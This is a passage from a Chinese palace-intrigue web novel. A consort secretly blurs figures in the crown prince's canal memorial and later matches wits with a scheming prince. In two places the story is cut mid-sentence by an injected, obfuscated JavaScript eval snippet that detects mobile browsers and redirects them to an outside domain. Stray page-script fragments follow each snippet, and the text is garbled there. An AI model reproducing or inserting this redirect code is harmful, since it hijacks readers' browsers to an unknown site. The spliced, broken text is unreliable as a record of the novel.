很快,翠儿便捧着一大捧新鲜的凤仙草回来了,她屏退了所有人,只留翠儿在旁伺候。 她取过一个白玉小碗,将凤仙草的茎叶细细捣碎,碧绿的汁液很快渗出。随后她又用几层细纱布反复过滤,直到碗中只剩下澄清的无色液体,散发着淡淡的清香。 “娘娘,这就能染指甲了?”翠儿好奇地问。 “还差点火候。”高玥取出一支最细的狼毫小笔,蘸了蘸那无色汁液,在一张废弃的宣纸上,对着一个墨字轻轻描摹。 汁液上纸,瞬间便消失无踪,仿佛什么都没有发生过一样。 高玥满意地点了点头,小心地将宣纸拿到烛台边,保持着一个不远不近的距离,用火焰的温度缓缓烘烤。 没过多久,被她描摹过的那个墨字,颜色开始变浅,边缘的墨迹慢慢地向外扩散、洇开,只是短短几秒的功夫,原本清晰的字迹就化作了一团模糊的墨渍,完全看不出原来的笔画。 翠儿在一旁看得目瞪口呆,忍不住捂住了嘴,自家的贵妃什么时候学会变戏法了? 高玥放下手中的毛笔,瞥了一眼旁边已经看傻的翠儿,眉梢轻轻一挑,“怎么样,本宫厉害吧!” 一旁的翠儿的头已经捣成了蒜锄,钦慕的眼神溢于言表。 高玥的嘴角,勾出一抹狡黠而自信的弧度。 她要篡改的,不是整个奏折,只是其中的几个关键数字。 其实只要让那些关乎预算和工期的数字变得模糊不清,就足以让生性多疑的皇帝对太子的能力产生巨大的怀疑。 这简直是天衣无缝的计划。 以皇帝多疑的性子,看到关乎钱粮、工期的数字变得模糊,他的第一个念头不是太子粗心,而是…… 太子究竟想做什么? 在这种最关键的地方含糊其辞,是不是想为自己中饱私囊留下余地?一个从开始就算计钱财的储君,还会真心为国为民吗? 届时就算太子如何找补,在皇帝的眼里都只会是心虚的狡辩。 而这一招最精妙的地方在于:就算事情被察觉,也只会被当做是奏折意外受损,也只是太子办事不力、保管不善,谁又能想到,这背后是另外一番算计? 而到那时,准备了另一份“完美”奏折的齐思铭再适时出现,二者对比,相信皇帝心中也会有决断。 这个计划,简直比直接调换奏折风险要小得多,也更加的精妙。 齐思铭,你以为你能掌控我的一切? 你让我换掉奏折,我偏不换。 我要用你意想不到的方式,完成你的目的,同时,也为我自己留下一条后路。 这场游戏,执棋者,或许不止你一个。 她将那碗好不容易获得的汁液小心翼翼地装进一个密封的瓷瓶里,贴身收好。 现在,万事俱备,只差一个能接触到奏折的机会。 7. 天衣无缝 高玥小心翼翼地将那瓶装着凤仙花汁液的瓷瓶收好,心中那块悬着的巨石总算落下一半。 而现在,万事俱备,只差一个能接触到奏折的机会。 她不动声色地向宫中各处消息灵通的太监宫女打探,很快便得知了一个绝佳的时机。 三日之后,便是太子的二十五岁生辰,皇帝龙心大悦,特此今年将在东宫为太子设宴。 更重要的是,高玥从皇帝身边侍奉的陈公公口中旁敲侧击地探听到,皇帝准备在太子生辰宴的第二天,在早朝上正式宣布,将开通南北运河这件关乎国本的大事,全权交由太子负责。 这意味着,旨意一旦下达,太子的储君之位便更加稳如泰山,届时齐思铭的机会就更加渺茫了。 因此,太子的生辰宴当日,便是高玥最关键的机会。 三日后,东宫之内,华灯璀璨。 高玥一身流光溢彩,身姿妖娆地步入宴会厅,她一出现,便吸引了所有人的目光,她面带恰到好处的微笑,与各宫嫔妃周旋,眼波流转间,却在不动声色地观察着在场的每一个人。 很快她便发现,这场为太子举办的盛宴,却唯独不见齐思铭的身影。 她端着酒杯,状似无意地走到柳妃身边,轻声问道:“姐姐,今日这般热闹,却怎的不见齐王爷?” 柳妃脸上的笑容瞬间僵住,她飞快地扫了一眼四周,见无人注意这边,才拉了拉高玥的衣袖,小声说道:“谁让你提他的名字了。” 见高玥面露不解,她的脸上闪过一丝毫不掩饰的嫌恶,凑到她耳边:“今儿个是太子殿下的大喜日子,满堂的贵人,谁会想瞧见他那张晦气的脸? 再说了,他一个每日在刀尖上舔血的,咱们这些人还是离他远些的好,免得沾上一身的血腥气。” 高玥心中微沉,面上却依旧挂着慵懒的笑意,不再多问。 她抬眼望去,在一个不甚起眼的角落里,看到了一个熟悉的身影。 是苏泠。 作为一个不起眼的宫女,她安静地站着,可高玥却敏锐地发现她的目光总是有意无意地飘向主位上的那位。 高玥在她的眼神中看到了一丝羞涩和钦慕,似乎还有一丝不易察觉的渴望。 当齐思安的视线向众人时,她又会受惊的小鹿一般,迅速低下头,假装整理着自己的衣角,掩盖自己的内心。 高玥心下了然,原来这个在原本游戏中有着强大光环的女主,有一天竟然也会偷偷对别的男子主动动了心思,时景时情,虽然这二人顶着一模一样的脸,但是性格行事作风却与那个世界的他们大不相同,也不知道如果苏泠知道她这张脸玩暗恋云铄这种戏码,她会是一个怎样的表情。 但她没有作声,也只当没看见,因为今夜,她还有更重要的事情要做。 酒过三巡,宴会的气氛愈发热烈,高玥借口酒力不胜,需回偏殿更衣小憩,在翠儿的搀扶下,悄然离开了喧闹的宴会厅。 她避开人群,凭借着对东宫地形的记忆,七拐八绕地摸到了太子书房附近。 书房外,两名侍卫笔直地站着。 高玥对翠儿使了个眼色,翠儿立马心领神会,悄悄走到一处假山后,突然发出一声惊呼,随即传来花瓶落地的清脆的清脆的声音。 “什么人?”两名侍卫立刻警觉,循声向假山方向奔去。 就是现在! 高玥提着裙摆,敏捷地闪入书房,她顾不得欣赏房间内的华丽摆设,径直走向书房正中间那张宽大的紫檀木书案。 书案上堆满了各式书籍和奏章,她翻找了许久,才在一摞文书的最底下,找到了那份奏折。 《论南北运河疏》 她迅速打开奏折,从怀中掏出那个小瓷瓶,用一支极细的狼毫小笔,蘸取了瓶中无色的汁液,然后屏住呼吸,小心翼翼地涂抹在奏折上关于“预算”、“工期”和“征用民夫数量”的几个关键字眼上。 做完这一切,她长舒一口气,将奏折平摊在桌上,等待着汁液完全干透。 就在这时,门外突然传来一阵凌乱的脚步声,伴随着含糊不清的醉语,正跌跌撞撞地朝着书房这边走来。 高玥心中一惊,她下意识地望向门口,人就在门外,她一出去就会被发现。 情急之下,她环顾四周,目光锁定在角落里一个巨大的紫檀木雕花衣柜。 她来不及多想,连忙冲过去,拉开柜门,闪身躲了进去。 柜中一片漆黑,她刚想关上柜门,却猛地撞上一个温热而结实的胸膛。 黑暗中,一只手迅速捂住了她的嘴。 高玥浑身一僵,惊恐地瞪大了眼睛。 她刚要挣扎,一个熟悉的声音在她耳边响起。 “别出声。” 是齐思铭! 此刻他那双在黑暗中依旧明亮的眼眸,正死死地盯着她,高玥看到了一丝震惊和意外。 他怎么会在这里? 她被他紧紧箍在怀里,背后紧贴着他滚烫的胸膛。 就在这时,她感觉到了有什么东西咯着她的后腰。 那是一个奏折! 一个念头电光火石般闪过高玥的脑海。 他怀里也有一份奏折! 她是为了涂改奏折而来,但是这件事她还没来得及告诉齐思铭,而他此刻出现在这里,怀中还揣着一模一样的奏折…… 所以……他根本就不相信她! 他嘴上说着让她办事,暗地里却亲自前来,准备用他伪造的奏折,直接进行调换! 那他之前那些威逼利诱,还有那些那些看似交心的示弱,算什么? 强烈的背叛感和愤怒涌上心头。 他知道她冒着多大风险吗?! 那她刚才在外面涂抹了药水的那份,岂不就是齐思铭准备的赝品?! 高玥的脑子嗡的一声,一片空白。 然而,此刻她已经无暇思考这件事,书房的门“砰”的一声被人从外面撞开,高玥听到两个人跌跌撞撞地走了进来。 “殿下……您慢点……哎呀……”一个女子的声音响起,温柔中带着一丝刻意的娇羞。 高玥的瞳孔骤然收缩,这个声音……是苏泠! “本宫……本宫没醉……”齐思安的声音含混不清,带着浓重的酒气,“本王今天心里高兴……父皇……父皇终于肯信我了……” “是,殿下文韬武略,陛下自然是器重您的。”苏泠一边扶着他,一边柔声哄着,身子有意无意地贴上齐思安,“只是殿下,您喝得太多了,还是奴婢扶您去床上歇息吧。” “不……本宫不去……”齐思安摇着头,一把抓住了苏泠的手,将她拉进怀里,“你……你别走,陪陪本宫。” “殿下,这……这于理不合,奴婢只是个宫女……”虽是这么说,但是苏泠的语气满是欲拒还迎。 “什么宫女!在本宫眼里,你比那些庸脂俗粉都……都要好!”齐思安显然已经醉得神志不清,捧着苏泠的脸,吻了上去。 很快,衣衫窸窣的声音,压抑的喘息声,和痴缠的情话,在这寂静的书房中交织上演。 在书房里就…… 高玥和齐思铭,就挤在这狭小黑暗的衣柜中,被迫听着外面这活色生香的一幕。 柜子里的空间本就狭小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315855|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为了不发出任何声音,高玥只得紧紧挨着齐思铭,不知道是不是她的错觉,在她靠上去的那一刻,她明显地感觉到了齐思铭身体一僵,和他身上传来的阵阵寒意。 反倒是她自己…… 高玥觉得自己的脸颊越来越烫,一股莫名的燥热从身体深处升腾,她一时间有些口干舌燥。 此刻这狭小黑暗的衣柜,仿佛成了一个密不透风的蒸笼,外面太子的醉语和苏泠娇媚的声音断断续续地传进高玥的耳中,每一个音节都像是钩子一般,在这黑暗的环境中无限放大,无孔不入。 而比这声音更折磨的,是她此刻身边贴着的男人。 他的体温滚烫地像块烙铁,那灼热的温度隔着几层布料源源不断地传来,她甚至能感受到他清晰的肌肉。 黑暗中,感官被无限放大…… 齐思铭的呼吸喷洒在她的耳廓和颈侧,每一次吐息,像是羽毛般触碰她的肌肤,高玥忍不住地哆嗦了一下,却又被齐思铭死死地禁锢在怀中。 “别乱动。”齐思铭低声警告。 齐思铭的呼吸拂过她的耳廓和颈侧,每一次吐息都像羽毛,带来一阵无法控制的战栗。 高玥能感觉到,在她因外界声音而身体微颤的瞬间,身后男人的身体也出现了一刹那的僵硬。 他也不自在。 这个发现,让高玥在被背叛的愤怒中,竟品出了一丝扭曲的快意。 你齐思铭算无遗策,可曾算到今日,会与你口中最锋利的“刀”,一同被困在这里,被迫听着你的死对头颠鸾倒凤? 她甚至能想象出他此刻的表情。 一定是隐忍,烦躁,以及对自己计划被打乱的恼怒。 这一夜,对高玥和齐思铭来说,都无比漫长,直到柜中透进第一缕晨光,书房里的动静才终于停歇,太子和苏泠相拥而眠,沉沉睡去。 高玥推了推身边的齐思铭,示意他可以出来了。 两人如同训练有素的拍档一般,先后悄无声息地从衣柜里溜了出来。 高玥不忘正事,先是迅速地将桌上那份被她涂了药水的“赝品”奏折与齐思铭怀中的“真品”调换回来,然后用瓷瓶中仅剩的一点药水,飞快地在真正的《南北运河疏》上重新涂抹了一遍。 她赢了。 以他意想不到的方式。 做完这一切,她与齐思铭对视一眼,二人一前一后悄无声息地离开了书房。 清晨的宫道上空无一人,晨风带着凉意,吹得人头脑清醒。 高玥走了半晌,终究还是没忍住,侧过头看向身边默不作声的齐思铭,低声说道:“我用的是一种凤仙花的汁液,无色无味,但遇火烘烤,便会使墨迹中的胶质失效,能够让字迹变得模糊不清。” 她本以为以齐思铭的性格,会追问她是如何知道这些奇怪巧技的,可他却只是轻轻地“嗯”了一声,便再无下文。 过了一会儿,他才侧过头,古怪地看了她一眼,语气里听不出什么情绪:“以后,不要再这样做了。” 这句话说的高玥摸不着头脑,难道他是嫌自己给他拖后腿了? 说完,他又转回头去,一路沉默。 高玥觉得有些莫名其妙,这个人怎么从柜子里出来以后就怪怪的? 她又想起一事,连忙开口道:“对了,昨天晚上的事……你能不能别主动说出去?就让他们自己处理吧。” 她想着,苏泠在这宫里也不容易,能不节外生枝最好。 “好。”齐思铭竟然毫不犹豫地答应了。 高玥愣住,这个人今天怎么这么好说话!简直不像是那个阴冷多疑的齐思铭了! 8. 恨明月高悬独不照我 事情果然不出高玥所料,一切都按照她计划中的方向发展。 御书房内,皇帝正倚在龙椅上,手手边是一个烧得正旺的紫铜炭盆,暖意融融。 他批阅奏章多年,早已养成了一个习惯,喜欢将奏折放在炭盆边上烘着,既能让冰冷的纸张变得温润,明亮的火光也便于翻阅。 当他拿起那份《南北运河疏》时,起初还颇为满意地点了点头。 太子的字迹一向工整,策论文章也写得四平八稳,颇有储君风范。 可当他的目光落在奏折中关于“预算”、“工期”和“征用民夫数量”这几个关键之处时,眉头不自觉地皱了起来。 他本想将奏折凑近了些,想看得更清楚,却发现那几个关键地方的墨迹像是化开了一样,变得模糊难辨,仿佛是被水浸过又晾干,留下了一团不清不楚的痕迹。 皇帝的脸色沉了下去。 开凿运河是何等大事,关乎国本民生,一分一毫的预算,一日一期的工期,都需写的详尽,可这份呈上来的奏章在这样的关键地方却写的如此马虎潦草,但他面上并未流露出分毫,只是将那份奏折不轻不重地搁置在一旁,继续批阅其他的奏章,仿佛无事发生。 约莫过了半个时辰,他才对身边的陈公公淡淡吩咐道:“去,传思铭来见朕。” 齐思铭很快便来到了御书房,他一身月白长袍,恭敬地行礼后,便垂手立在一旁,等着皇帝的问话。 皇帝并未看他,依旧低头批阅着奏章,又过了大约半个时辰,才不经意地问道:“听说你最近见了工部的张大人?” 张大人正是负责水利之事。 齐思铭心中一动,知道机会来了,但他面上却不动声色,只是躬身答道:“回皇上,臣听闻太子最近在帮父皇处理南北水运之事,整日茶饭不思,便想着如何能够帮皇上、帮太子分担国事,所以近日确有研读相关典籍,也请教过工部的张大人。” 皇帝放下手中的朱笔,抬眼看向他,语气平淡:“哦?那你说说,对南北运河之事,可有什么看法?” 其实,在唤齐思铭来之前,皇帝并未对齐思铭抱有太大希望,可当齐思铭从袖中取出一份同样是关于开凿运河的奏折,恭敬地呈上时,他的眼神变了几变。 齐思铭的这份奏折,与太子的那份策略截然不同。 他的思路更加激进大胆,不仅详细规划了如何引入民间商贾资本,共同分担国库压力,还提出了“以工代赈,以商养河”的全新模式。 更重要的是,他所承诺的短期经济回报,远比太子的方案要丰厚诱人得多,这样就解决了如何吸引商贾资本引入的问题。 皇帝一页一页地翻看,脸上看不出什么情绪,时间一分一秒地过去。 “以商养河” 皇帝的声音听不出喜怒,却带着一股无形的压迫感,“自古以来,士农工商,商贾位列末流,逐利而生,唯利是图,你这份奏折,如何能保证那些商贾不会趁机剥盘百姓,中饱私囊,最后留给朝廷一个烂摊子?” 这是一个极其尖锐的问题,直指方案的核心风险。 齐思铭不慌不忙地躬身一拜,声音沉稳有力,“皇上所虑即是,但臣却以为,堵不如疏。 与其提防商人逐利之心,倒不如以利驱之,为国所用。前汉之时,武帝为筹军费北机匈奴,国库曾一度空虚,正是纳了桑弘羊之策,行盐铁官营,允商贾参与其间。 朝廷出政令,定规矩;商贾出钱粮,逐其利,最终成就赫赫战功。盐铁尚可,更何况是运河工程?” 皇帝听着,眼中的审视之色稍减,又抛出一个更实际的难题,“你这方案听起来天衣无缝,但你可知,如此浩大的工程,所需银两何止千万?” “纵使有商贾参与,前期也需要大量的银两投入,国库的情况,你不是不知。前些年北境平叛,早已耗损甚巨,你这方案,是不是过于理想化了?” 这也是皇帝内心最深处的忧虑,说白了,钱够了,一切都好说。 齐思铭闻言,眼中闪过一丝光芒,他等的,就是这个问题。 他向前一步,语气恳切,“皇上,臣正是深知国库之艰,这才出此之策!” 他抬起头,直视皇帝的眼睛,一字一句道,“臣深知,如若行平稳之事,一分一毫皆要从国库支取,需加税,需增徭役,恐未见其利,先受其害。” “而臣此策,朝廷前期只需拿出部分银两用以吸引商贾入局,剩下的皆有民间募集。此举非但不动国库根本,还可盘活江南积存的巨额财富。待运河一开,商路通达,税收自会源源不断,这才是真正的取之于民,用之于民。” 皇帝久久没有说话,他没能想到,齐思铭竟然能看的如此之深。 太子的方案,稳妥,周全,除了工期那些数据,可以说是总体挑不出什么问题,但正是没什么大问题,在如今的情形下,确实最大的问题。 就像是一个画在纸上的饼,看起来再香,也填不饱肚子,那几个被熏得模糊的字迹,此刻竟像是一种讽刺的预兆。 “以商养河”,何其大胆。 北境的战事像一个巨大的窟窿,几乎耗尽了大胤朝数十年的积累。 而齐思铭却将这个最尖锐的难题,用一种不入流、却又最有效的方式,摆在了台面上。 他不是在画饼,他是在告诉自己,可以去抢别人的面来做饼。 他依旧面无表情,只是缓缓将齐思铭的奏折放在了太子那份奏折的上面,淡淡地说道:“你的奏折,朕留下了,先退下吧。” 尽管皇帝未曾明说,但齐思铭知道,这一次,他赢了。 然而,这把火,烧得还不够旺。 次日早朝,百官都以为皇帝会就开凿运河一事做出决断,可出乎所有人意料的是,皇帝却对开凿运河之事绝口不提。 下朝后,皇帝更是反常地没有再召见齐思铭,反倒是频繁地唤太子进御书房商议事情,一谈就是大半天。 消息传到高玥耳中,她并不意外。 她斜倚在软榻上,手中把玩着一根成色极佳的玉簪,翠儿在一旁为她添着茶,面色担忧:“娘娘,陛下这……这是何意?明明是王爷的法子更好,为何陛下反倒对太子殿下更加亲近了?” 高玥将玉簪放下,端起茶杯,轻轻吹了吹漂浮的茶叶,慢悠悠地说道:“这有什么难懂的。太子是皇上培养了二十多年的继承人,父子情深,信任早已根深蒂固。怎么可能因为一份奏折就转而去相信一个前朝的旧人?换做是你,你会这么干吗?” “可是……您之前不是说,只有王爷的法子才能解陛下的燃眉之急吗?” 高玥放下茶杯,嘴角勾起一抹笑意,那笑容里带着一丝翠儿看不懂的嘲讽。 “你说的没错,王爷的方案确实是大胆又有新意,乍一看确实是令人眼前一亮,但是……” 她顿了顿,幽幽地补上一句,“谁说能办成这件事的只有王爷?” 在现代的职场里,领导拿了下属呕心沥血做出的方案,转手交给自己的心腹去执行,甚至直接冠上自己的名字取邀功,那都是家常便饭。 更何况皇帝是这世间最大的“老板”呢? 这天下都是他的,一个下属的计策他拿去给另一个他更信任的儿子去用,又有什么不可以?他齐思铭难道还敢去骂皇上吗? 她见翠儿的眼神依旧迷茫,耐着性子解释道,“你想想,陛下现在召见太子,万一谈的,正是王爷的那份“以商养河”的方案呢?” “陛下大可以把这个法子交给太子去办,如此一来,既能解决国库之危,又能让帮太子铺路,岂不是一举两得?” “那……那王爷岂不是白费功夫了?”翠儿急道。 “那也未必。”高玥轻笑一声,“据我所知,陛下本是准备在今日早朝正式宣布将此事交由太子负责。可他没有,这便说明,他心中还在衡量人选,只要他还在犹豫,咱们就还有机会。” 她的话音刚落,一个小宫女便进来通传,说齐王爷来了。 还没等高玥开口,她便已经看到齐思铭走了进来。 高玥挥手让所有人退下,殿内只剩他们二人。 “看来,王爷已经知道消息了。”高玥率先开口,打破了沉默。 “父皇今日召太子入御书房三次,谈的,是本王那份‘以商养河’的奏折。”齐思铭的声音听不出喜怒,他缓步走到她面前,居高临下地看着她,“你的计策很精妙,让太子的奏折成了废纸。” “但结果却是为他做了嫁衣。对此,你好像并不意外?” 高玥抬头,撞上齐思铭那双深不见底的眸子。 那双眸子里没有质问,但是却比任何质问都来的更冷。 高玥的心一点一点地下沉,再傻的人都能听懂他这话中的意思。 这计策是你出的,如今却可能为太子做了嫁衣,你不仅不急,反而如此镇定,莫不是另有图谋,或者根本就没想让我赢? 他怀疑她脚踩两条船,既想在他这里邀功,又不想彻底得罪太子和皇帝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315856|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我为什么要意外?”高玥有些生气,阴阳怪气地说道,“意外陛下对太子二十多年的父子亲情?还是意外王爷你在陛下的心里,原来终究只是个外人?” 齐思铭的眸光骤然一寒。 “放肆!”他周身的气压瞬间降至冰点。 高玥却仿佛没有察觉到他的怒意,反而伸出一根纤纤玉指,轻轻点在他的胸口,隔着衣料,感受着那坚硬的肌肉和沉稳的心跳。 齐思铭的眸色沉了沉,他第一次发现,这个女人的冷静此刻反倒让他难以掌控。 “你倒是撇得干净。”他冷笑一声,向前逼近一步。 高玥没有后退,反而迎着他的目光,仰起头,冷静地说道,“棋盘上,一步棋的作用,是牵制,是布局,是为后续的杀招创造时机。它本身,并不能决定胜负。” “如果你觉得这一步棋没用,或许是执棋的人,还没想好下一步该怎么走。” 齐思铭的呼吸一滞。 她竟敢反过来暗讽他这个执棋者无能! 他猛地伸手,捏住她的下巴,冰凉的触感让她身体一颤。 他俯下身,双唇几乎要贴上她的,声音压得极低:“你越来越放肆了,别忘了你的身份。棋子,是没有资格评论棋手的。” 高玥被迫承受着他带来的强大压迫感,但她的眼神却没有丝毫闪躲。 “可若这颗棋子,能看到棋手都未曾看到的棋局呢?”她非但不惧,反而笑意更深,“王爷,你真的以为,皇帝召见太子,是在信任他吗?” 齐思铭捏着她下巴的手指不自觉地松了几分。 高玥轻轻推开他的手,缓缓说道:“你的才华,是悬在皇上头顶的刀。他想用,又怕被割伤,所以他把刀柄递给太子,是想看看,他那宝贝儿子,究竟握不握得住这把刀。” “这既是对太子的考验,也是对你的试探。他想看看,面对这种不公,你会如何反应。你现在跑到我这里来质问,不觉得正中了他的下怀吗?” 齐思铭僵在原地。 他不是没想到这一层,但他被长久以来的压抑蒙蔽,只想着用雷霆手段一击制胜,却忽略了帝王心术中最根本的多疑。 而这些,竟被她一个身处后宫的女人看得如此透彻。 他以为自己很了解她。 她是他他亲手放置在棋盘上的棋子,他设定了她的起点,规划了她的路线,期待她成为一把最锋利的尖刀。 他习惯了将一切玩弄于股掌之间,却发现掌心这枚最关键的棋,正在悄然发生质变,甚至有了反噬主人的迹象。 危险。 这个念头,第一次因为一个女人,在他心底疯狂滋生。 “那你觉得,我该如何?”他这一次,是真正的询问。 高玥但笑不语,只是走到窗边,推开了窗。 夜空中,一轮明月高悬,清辉遍地。 “王爷,”她没有回头,只是轻声说道,“今夜月色正好。” …… 子时,夜深人静。 齐思铭独自坐在案前,手指有一搭没一搭地敲打着案牍。 那个女人的每一句话,每一个眼神,都在他脑海中反复回放。 王友带着一封信推门进入,“王爷,宫里来的。” 他打开信笺。 上面没有长篇大论的谋略,也没有柔情蜜意的私语。 纸上只用淡墨画了一钩残月,悬于天际。 残月下方是一行娟秀的小字: “月盈必亏,人欲无穷。莫要让高悬夜空的圆满,遮蔽了潜于暗夜的锋芒。” 齐思铭的呼吸蓦地一顿。 他瞬间便懂了。 她是在告诫他。 皇位,便是那诱人追逐的月圆。 可人人都能看到的圆满,也是最显眼的目标。 一旦为了那虚幻的圆满而暴露了全部的实力,便会像满月一样,接下来只有一步步走向亏损。 而他现在,应该做那轮新月。 锋芒内敛,潜于暗夜,在世人尚未察觉之时,积蓄着撕裂一切黑暗的力量。 齐思铭看着那行字,眼神晦暗不明。 这个女人,总能在他最心烦意乱的时刻,用最意想不到的方式,给他一记最清醒的耳光。 他将纸条凑到烛火前,看着那弯新月和那行小字在火焰中逐渐消散,最终化为一缕灰烬。 “有趣的棋子……” 只是不知,这枚棋子,究竟是能助他登顶,还是会反噬其主。 9. 新的博弈 自那夜之后,齐思铭一反常态,彻底沉寂下来。 他不再向皇帝进言,也不再接触任何与运河相关的官员,仿佛真的将此事置之度外,每日只是在自己的府中读书,恢复了那个与世无争的“贤王”模样。 然而,京城的另一端,一股暗流却开始悄然涌动。 起初,只是一些清流文人间的笔会和茶局上,开始出现一些“忧国忧民”的论调。 “听闻朝中有意引商贾之力,兴修水利,此举虽能解一时之急,然商贾逐利,如狼似虎,若使其坐大,恐非国之福啊!” “然也!前朝便有先例,为充国库而行‘算缗’之策,虽一时财货丰盈,却致使天下商贾破产,民怨沸腾,动摇国本。与商争利,乃下下之策也!” 这些声音起初微弱,却像投入水中的石子,激起的涟漪一圈圈扩大。 很快,整个翰林院,甚至朝中一些以耿直闻名的老臣之间,都开始弥漫着一股警惕商贾的氛围。 而齐思安,自然也听到了这些风声。 他本就对齐思铭那份离经叛道的奏折心存疑虑。 现在,满朝的清流之声,更是印证了他内心深处的担忧。 这日,他特意微服,前往京城最有名的茶楼。 文渊阁。 他刚在雅间坐定,便听见隔壁传来几位大儒的争辩声,其中一位,正是素有“铁骨”之称的张承。 只听一人忧心忡忡道:“若真将运河这等国家命脉交予商人,他们为求暴利,必会压榨民夫,偷工减料。届时河堤朽坏,一旦决口,便是万千黎民流离失所!此等罪责,谁能承担?” 另一人立刻附和:“正是此理!我等读书人,当为生民立命!太子殿下乃仁德储君,想必定能看穿此中凶险,断不会行此杀鸡取卵之策!” 这时,张承的声音响起:“诸位所言甚是。自古君王行事,当以王道为本,霸道为末。以利诱之,乃霸道之术;以德化之,方为王者之道。若为一时之功,而弃圣人教诲,恐得不偿失啊!” 话音刚落,便有个年轻些的声音插了进来,带着几分不确定:“可我听闻,贤王殿下是支持商贾之流的。他那份奏折,不就主张引商贾入局么?” “贤王?”先前说话那人重重哼了一声,声音也小了下来,“他虽顶着个王爷的爵位,可我听说,他血液里流的可不是我大胤的血脉!一个东厂提督,满手血腥,能懂什么治国安邦的家国大事?他的话,听听便罢!” 齐思安的脑中一片空白。 他从小接受的教育,他一直以来引以为傲的“仁君”形象,在这一刻与齐思铭那个充满铜臭味的方案形成了尖锐的对立。 一个念头在他心中疯狂滋生:他要证明给父皇看,也证明给天下人看,他不仅能办成这件事,而且能用最高尚的方式办成! 齐思安回到东宫,立刻将自己关进书房。 三日后,太子齐思安信心满满地带着自己的新奏折,走进了御书房。 他坚信,这份充满了“仁德”与“王道”的方案,必将得到父皇的雷霆赞许。 他不知道的是,此刻齐思铭正临窗而立,看着东宫的方向,嘴角勾起一抹意味深长的弧度。 …… 这微妙的变化,很快便传到了高玥的耳中。 高玥正在殿内修剪一盆君子兰,听完翠儿带回来的消息,她“咔嚓”剪下了一片多余的叶子。 “娘娘,您真是神了,太子殿下的奏折又被陛驳回来了,听说在御书房里被骂得狗血淋头呢!”翠儿的语气中满是兴奋。 “还早着呢。”高玥将剪刀放下,语气平淡,“现在,才是最关键的时候。” 她需要再添一把火。 高玥特意让翠儿取来一件天青色的软绸宫装,这颜色既不张扬,又能衬得她肤白如雪。 她没有选择那些繁复华丽的珠钗,只在乌黑的发髻上斜插了一支白玉兰花簪,簪首的玉兰莹润剔透,正是前几日皇帝随手赏下的。 一切准备妥当,高玥亲端着托盘,朝着御书房的方向走去。 皇帝正在为太子的奏折头疼,见到高玥来了,紧锁的眉头才舒展几分。 “爱妃来了。” “看陛下为国事操劳,臣妾心中担忧,特意炖了燕窝给陛下补补身子。”高玥的声音娇媚动人,她将燕窝盅轻轻放在御案上,状似无意地瞥了一眼那份她再熟悉不过的奏折。 “陛下可是还在为运河之事烦心?”高玥的声音像一缕柔风,吹散了皇帝心中的沉闷。 她轻轻按上皇帝的太阳穴,力道适中地揉捏,“其实臣妾觉得,太子殿下也是一片赤诚。近日太子殿下为这运河之事日夜操劳,臣妾也有耳闻,太子殿下当真是勤勉用心。” 她故意加重了“勤勉用心”四个字,果然皇帝一听到这个词,脸色反而更加阴沉。 “勤勉?若是只知埋头苦干,不知变通,再勤勉又有何用!” 看到皇帝动怒,高玥立刻收回手,俯身轻罪,脸上带着恰到好处的惶恐,“陛下喜怒,是臣妾多嘴了!” 高玥顿了顿,又换上了一副关切的语气,“不过陛下也无需太过忧心,毕竟龙体要紧。臣妾还听闻,王爷近日也时常请教工部的张大人关于水利的事情,想必也是想在为陛下分忧解难呢!” “陛下有王爷这样的能人辅佐太子,实乃我大胤的福气,更是陛下之福气呀!” 她的话说得轻描淡写,却每一个字都恰到好处地敲在皇帝的心坎上。 皇帝端起燕窝喝了一口,没有说话,但眼神却深邃了几分。 高玥从御书房出来,心中已是一片笃定。 就齐思安那套“仁政爱民”的说辞,根本过不了皇帝这一关。 南北水运这件事,看起来马上就要有结果了。 然而,就在她回到宫中,悠然品着新茶,静候最终结果之时,翠儿急急忙忙地跑了进来。 “娘娘,不好了!” 高玥端着茶杯的手微微一顿,抬眼看去,眉头微蹙:“何事如此惊慌?” “太子……太子殿下他刚刚递交了一份新奏折,陛下……陛下看完龙颜大悦,当场就准了!” “听说是太子对皇上说, 把朝廷当做是东家,商贾是伙计。伙计们出本钱开店,赚了钱,大头上交给东家。 而东家心善,再把赚来的钱拿去救济穷人。如此一来,伙计们有钱赚,自然愿意出力;穷人们得了实惠,自然会感念东家的好。而东家既办成了大事,又得了仁义的好名声。” “这番话吧陛下说的圣心大悦!” 高玥脸上的笑容瞬间凝固。 不可能。 齐思安那个被儒家思想禁锢了二十多年的脑子,怎么可能在这么短的时间内,想出如此精妙的“偷换概念”的法子。 这个方法巧妙地借用现代商业模式中“委托代理”的思路,最早还是1776年亚当斯密在《国富论》中提出来的,怎么可能是这个时代的人能想得出的。 高玥的心沉了下去,一个可怕的念头涌上心头。 除非……他身边有了高人指点! 这个人的目的又是什么?为什么要帮助太子齐思安,来对抗自己和齐思铭? 一瞬间,高玥感到一股寒意从脊背升起。 她原以为自己是唯一的“玩家”,掌握着独一无二的降维打击优势。 可现在,棋盘上出现了另一个执棋人,一个隐藏在暗处的存在。 是谁? 接下来的两天,高玥都寝食难安。 整个棋局,因为这突如其来的变故,瞬间脱离了她的掌控。 直到第三天黄昏,翠儿才脚步匆匆地从外面回来,脸色异样地复杂。 